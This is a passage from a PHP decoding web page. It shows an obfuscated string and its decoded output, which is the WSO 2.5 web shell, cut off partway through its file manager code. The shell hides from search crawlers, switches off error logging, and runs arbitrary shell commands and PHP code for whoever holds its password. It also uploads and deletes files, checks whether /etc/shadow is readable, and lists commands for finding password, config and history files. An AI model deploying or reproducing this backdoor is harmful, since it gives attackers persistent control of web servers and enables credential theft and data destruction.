Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$VKGPOZ="JG\1061dGhfcGFzcyA9ICI2Yz\x454NmIwY2\x45\x34ZjFmY2JiO\107I0NGRmO\104gy\x4dTZl\x4d..

Decoded Output download

$auth_pass = "6c186b0ca8f1fcbb8b44df88216e0cd6";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';

if(!empty($_SERVER['HTTP_USER_AGENT'])) {
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
        header('HTTP/1.0 404 Not Found');
        exit;
    }
}

@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@define('WSO_VERSION', '2.5');

function wsoLogin() {
	die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
}

function WSOsetcookie($k, $v) {
    $_COOKIE[$k] = $v;
    setcookie($k, $v);
}

if(!empty($auth_pass)) {
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);

    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
        wsoLogin();
}

if(strtolower(substr(PHP_OS,0,3)) == "win")
	$os = 'win';
else
	$os = 'nix';

$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
    error_reporting(0);

$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
	@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
	$home_cwd = str_replace("\", "/", $home_cwd);
	$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
	$cwd .= '/';

if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;

if($os == 'win')
	$aliases = array(
		"List Directory" => "dir",
    	"Find index.php in current dir" => "dir /s /w /b index.php",
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
    	"Show active connections" => "netstat -an",
    	"Show running services" => "net start",
    	"User accounts" => "net user",
    	"Show computers" => "net view",
		"ARP Table" => "arp -a",
		"IP Configuration" => "ipconfig /all"
	);
else
	$aliases = array(
  		"List dir" => "ls -lha",
		"list file attributes on a Linux second extended file system" => "lsattr -va",
  		"show opened ports" => "netstat -an | grep -i listen",
        "process status" => "ps aux",
		"Find" => "",
  		"find all suid files" => "find / -type f -perm -04000 -ls",
  		"find suid files in current dir" => "find . -type f -perm -04000 -ls",
  		"find all sgid files" => "find / -type f -perm -02000 -ls",
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  		"find config.inc.php files" => "find / -type f -name config.inc.php",
  		"find config* files" => "find / -type f -name \"config*\"",
  		"find config* files in current dir" => "find . -type f -name \"config*\"",
  		"find all writable folders and files" => "find / -perm -2 -ls",
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
  		"find all service.pwd files" => "find / -type f -name service.pwd",
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
  		"find all .htpasswd files" => "find / -type f -name .htpasswd",
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  		"find all .bash_history files" => "find / -type f -name .bash_history",
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
  		"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
		"Locate" => "",
  		"locate httpd.conf files" => "locate httpd.conf",
		"locate vhosts.conf files" => "locate vhosts.conf",
		"locate proftpd.conf files" => "locate proftpd.conf",
		"locate psybnc.conf files" => "locate psybnc.conf",
		"locate my.conf files" => "locate my.conf",
		"locate admin.php files" =>"locate admin.php",
		"locate cfg.php files" => "locate cfg.php",
		"locate conf.php files" => "locate conf.php",
		"locate config.dat files" => "locate config.dat",
		"locate config.php files" => "locate config.php",
		"locate config.inc files" => "locate config.inc",
		"locate config.inc.php" => "locate config.inc.php",
		"locate config.default.php files" => "locate config.default.php",
		"locate config* files " => "locate config",
		"locate .conf files"=>"locate '.conf'",
		"locate .pwd files" => "locate '.pwd'",
		"locate .sql files" => "locate '.sql'",
		"locate .htpasswd files" => "locate '.htpasswd'",
		"locate .bash_history files" => "locate '.bash_history'",
		"locate .mysql_history files" => "locate '.mysql_history'",
		"locate .fetchmailrc files" => "locate '.fetchmailrc'",
		"locate backup files" => "locate backup",
		"locate dump files" => "locate dump",
		"locate priv files" => "locate priv"
	);

function wsoHeader() {
	if(empty($_POST['charset']))
		$_POST['charset'] = $GLOBALS['default_charset'];
	global $color;
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:300px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
.l2{background-color:#333}
pre{font-family:Courier,Monospace;}
</style>
<script>
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
    var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
    var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
    var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
    var d = document;
	function set(a,c,p1,p2,p3,charset) {
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
	}
	function g(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		d.mf.submit();
	}
	function a(a,c,p1,p2,p3,charset) {
		set(a,c,p1,p2,p3,charset);
		var params = 'ajax=true';
		for(i=0;i<d.mf.elements.length;i++)
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
	}
	function sr(url, params) {
		if (window.XMLHttpRequest)
			req = new XMLHttpRequest();
		else if (window.ActiveXObject)
			req = new ActiveXObject('Microsoft.XMLHTTP');
        if (req) {
            req.onreadystatechange = processReqChange;
            req.open('POST', url, true);
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
            req.send(params);
        }
	}
	function processReqChange() {
		if( (req.readyState == 4) )
			if(req.status == 200) {
				var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
				var arr=reg.exec(req.responseText);
				eval(arr[2].substr(0, arr[1]));
			} else alert('Request error!');
	}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
	$totalSpace = $totalSpace?$totalSpace:1;
	$release = @php_uname('r');
	$kernel = @php_uname('s');
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
	if(strpos('Linux', $kernel) !== false)
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
	else
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
	if(!function_exists('posix_getegid')) {
		$user = @get_current_user();
		$uid = @getmyuid();
		$gid = @getmygid();
		$group = "?";
	} else {
		$uid = @posix_getpwuid(posix_geteuid());
		$gid = @posix_getgrgid(posix_getegid());
		$user = $uid['name'];
		$uid = $uid['uid'];
		$group = $gid['name'];
		$gid = $gid['gid'];
	}

	$cwd_links = '';
	$path = explode("/", $GLOBALS['cwd']);
	$n=count($path);
	for($i=0; $i<$n-1; $i++) {
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
		for($j=0; $j<=$i; $j++)
			$cwd_links .= $path[$j].'/';
		$cwd_links .= "\")'>".$path[$i]."/</a>";
	}

	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
	$opt_charsets = '';
	foreach($charsets as $item)
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';

	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
	if(!empty($GLOBALS['auth_pass']))
		$m['Logout'] = 'Logout';
	$m['Self remove'] = 'SelfRemove';
	$menu = '';
	foreach($m as $k => $v)
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';

	$drives = "";
	if($GLOBALS['os'] == 'win') {
		foreach(range('c','z') as $drive)
		if(is_dir($drive.':\'))
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
	}
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}

function wsoFooter() {
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
    echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
	<tr>
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
	</tr><tr>
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
		<td><form method='post' ENCTYPE='multipart/form-data'>
		<input type=hidden name=a value='FilesMAn'>
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
		<input type=hidden name=p1 value='uploadFile'>
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
	</tr></table></div></body></html>";
}

if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
    function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
    function posix_getgrgid($p) {return false;} }

function wsoEx($in) {
	$out = '';
	if (function_exists('exec')) {
		@exec($in,$out);
		$out = @join("
",$out);
	} elseif (function_exists('passthru')) {
		ob_start();
		@passthru($in);
		$out = ob_get_clean();
	} elseif (function_exists('system')) {
		ob_start();
		@system($in);
		$out = ob_get_clean();
	} elseif (function_exists('shell_exec')) {
		$out = shell_exec($in);
	} elseif (is_resource($f = @popen($in,"r"))) {
		$out = "";
		while(!@feof($f))
			$out .= fread($f,1024);
		pclose($f);
	}
	return $out;
}

function wsoViewSize($s) {
    if (is_int($s))
        $s = sprintf("%u", $s);
    
	if($s >= 1073741824)
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
	elseif($s >= 1048576)
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
	elseif($s >= 1024)
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
	else
		return $s . ' B';
}

function wsoPerms($p) {
	if (($p & 0xC000) == 0xC000)$i = 's';
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
	elseif (($p & 0x8000) == 0x8000)$i = '-';
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
	else $i = 'u';
	$i .= (($p & 0x0100) ? 'r' : '-');
	$i .= (($p & 0x0080) ? 'w' : '-');
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
	$i .= (($p & 0x0020) ? 'r' : '-');
	$i .= (($p & 0x0010) ? 'w' : '-');
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
	$i .= (($p & 0x0004) ? 'r' : '-');
	$i .= (($p & 0x0002) ? 'w' : '-');
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
	return $i;
}

function wsoPermsColor($f) {
	if (!@is_readable($f))
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
	elseif (!@is_writable($f))
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
	else
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}

function wsoScandir($dir) {
    if(function_exists("scandir")) {
        return scandir($dir);
    } else {
        $dh  = opendir($dir);
        while (false !== ($filename = readdir($dh)))
            $files[] = $filename;
        return $files;
    }
}

function wsoWhich($p) {
	$path = wsoEx('which ' . $p);
	if(!empty($path))
		return $path;
	return false;
}

function actionSecInfo() {
	wsoHeader();
	echo '<h1>Server security information</h1><div class=content>';
	function wsoSecParam($n, $v) {
		$v = trim($v);
		if($v) {
			echo '<span>' . $n . ': </span>';
			if(strpos($v, "
") === false)
				echo $v . '<br>';
			else
				echo '<pre class=ml1>' . $v . '</pre>';
		}
	}

	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
    if(function_exists('apache_get_modules'))
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
	$temp=array();
	if(function_exists('mysql_get_client_info'))
		$temp[] = "MySql (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$temp[] = "MSSQL";
	if(function_exists('pg_connect'))
		$temp[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$temp[] = "Oracle";
	wsoSecParam('Supported databases', implode(', ', $temp));
	echo '<br>';

	if($GLOBALS['os'] == 'nix') {
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
            if(!$GLOBALS['safe_mode']) {
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
                echo '<br>';
                $temp=array();
                foreach ($userful as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Userful', implode(', ',$temp));
                $temp=array();
                foreach ($danger as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Danger', implode(', ',$temp));
                $temp=array();
                foreach ($downloaders as $item)
                    if(wsoWhich($item))
                        $temp[] = $item;
                wsoSecParam('Downloaders', implode(', ',$temp));
                echo '<br/>';
                wsoSecParam('HDD space', wsoEx('df -h'));
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
                    $temp = "";
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
                        $uid = @posix_getpwuid($_POST['p2']);
                        if ($uid)
                            $temp .= join(':',$uid)."
";
                    }
                    echo '<br/>';
                    wsoSecParam('Users', $temp);
                }
            }
	} else {
		wsoSecParam('OS Version',wsoEx('ver'));
		wsoSecParam('Account Settings',wsoEx('net accounts'));
		wsoSecParam('User Accounts',wsoEx('net user'));
	}
	echo '</div>';
	wsoFooter();
}

function actionPhp() {
	if(isset($_POST['ajax'])) {
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
		ob_start();
		eval($_POST['p1']);
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
		echo strlen($temp), "
", $temp;
		exit;
	}
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);

	wsoHeader();
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
		ob_start();
		phpinfo();
		$tmp = ob_get_clean();
        $tmp = preg_replace(array (
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
            '!td, th {(.*)}!msiU',
            '!<img[^>]+>!msiU',
        ), array (
            '',
            '.e, .v, .h, .h th {$1}',
            ''
        ), $tmp);
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
	}
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre></div>';
	wsoFooter();
}

function actionFilesMan() {
    if (!empty ($_COOKIE['f']))
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
    
	if(!empty($_POST['p1'])) {
		switch($_POST['p1']) {
			case 'uploadFile':
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
					echo "Can't upload file!";
				break;
			case 'mkdir':
				if(!@mkdir($_POST['p2']))
					echo "Can't create new dir";
				break;
			case 'delete':
				function deleteDir($path) {
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
					$dh  = opendir($path);
					while ( ($item = readdir($dh) ) !== false) {
						$item = $path.$item;
						if ( (basename($item) == "..") || (basename($item) == ".") )
							continue;
						$type = filetype($item);
						if ($type == "dir")
							deleteDir($item);
						else
							@unlink($item);
					}
					closedir($dh);
					@rmdir($path);
				}
				if(is_array(@$_POST['f']))
					foreach($_POST['f'] as $f) {
                        if($f == '..')
                            continue;
						$f = urldecode($f);
						if(is_dir($f))
							deleteDir($f);
						else
							@unlink($f);
					}
				break;
			case 'paste':
				if($_COOKIE['act'] == 'copy') {
					function copy_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
				} elseif($_COOKIE['act'] == 'move') {
					function move_paste($c,$s,$d){
						if(is_dir($c.$s)){
							mkdir($d.$s);
							$h = @opendir($c.$s);
							while (($f = @readdir($h)) !== false)
								if (($f != ".") and ($f != ".."))
									copy_paste($c.$s.'/',$f, $d.$s.'/');
						} elseif(@is_file($c.$s))
							@copy($c.$s, $d.$s);
					}
					foreach($_COOKIE['f'] as $f)
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
				} elseif($_COOKIE['act'] == 'zip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        if ($zip->open($_POST['p2'], 1)) {
                            chdir($_COOKIE['c']);
                            foreach($_COOKIE['f'] as $f) {
                                if($f == '..')
                                    continue;
                                if(@is_file($_COOKIE['c'].$f))
                                    $zip->addFile($_COOKIE['c'].$f, $f);
                                elseif(@is_dir($_COOKIE['c'].$f)) {
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
                                    foreach ($iterator as $key=>$value) {
                                        $zip->addFile(realpath($key), $key);
                                    }
                                }
                            }
                            chdir($GLOBALS['cwd']);
                            $zip->close();
                        }
                    }
				} elseif($_COOKIE['act'] == 'unzip') {
					if(class_exists('ZipArchive')) {
                        $zip = new ZipArchive();
                        foreach($_COOKIE['f'] as $f) {
                            if($zip->open($_COOKIE['c'].$f)) {
                                $zip->extractTo($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    }
				} elseif($_COOKIE['act'] == 'tar') {
                    chdir($_COOKIE['c']);
                    $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                    wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                    chdir($GLOBALS['cwd']);
				}
				unset($_COOKIE['f']);
                setcookie('f', '', time() - 3600);
				break;
			default:
                if(!empty($_POST['p1'])) {
					WSOsetcookie('act', $_POST['p1']);
					WSOsetcookie('f', serialize(@$_POST['f']));
					WSOsetcookie('c', @$_POST['c']);
				}
				break;
		}
	}
    wsoHeader();
	echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
	$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
	if($dirContent === false) {	echo 'Can\'t open this folder!';wsoFooter(); return; }
	global $sort;
	$sort = array('name', 1);
	if(!empty($_POST['p1'])) {
		if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
			$sort = array($match[1], (int)$match[2]);
	}
echo "<script>
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
</script>
<table width='100%' class='main' cellspacing='0' cellpadding='2'>
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
	$dirs = $files = array();
	$n = count($dirContent);
	for($i=0;$i<$n;$i++) {
		$ow = @posix_getpwuid(@fileowner($dirContent[$i]));
		$gr = @posix_getgrgid(@filegroup($dirContent[$i]));
		$tmp = array('name' => $dirContent[$i],
					 'path' => $GLOBALS['cwd'].$dirContent[$i],
					 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
					 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
					 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
					 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
					 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
					);
		if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
			$files[] = array_merge($tmp, array('type' => 'file'));
		elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
		elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
			$dirs[] = array_merge($tmp, array('type' => 'dir'));
	}
	$GLOBALS['sort'] = $sort;
	function wsoCmp($a, $b) {
		if($GLOBALS['sort'][0] != 'size')
			return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
		else
			return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
	}
	usort($files, "wsoCmp");
	usort($dirs, "wsoCmp");
	$files = array_merge($dirs, $files);
	$l = 0;
	foreach($files as $f) {
		echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
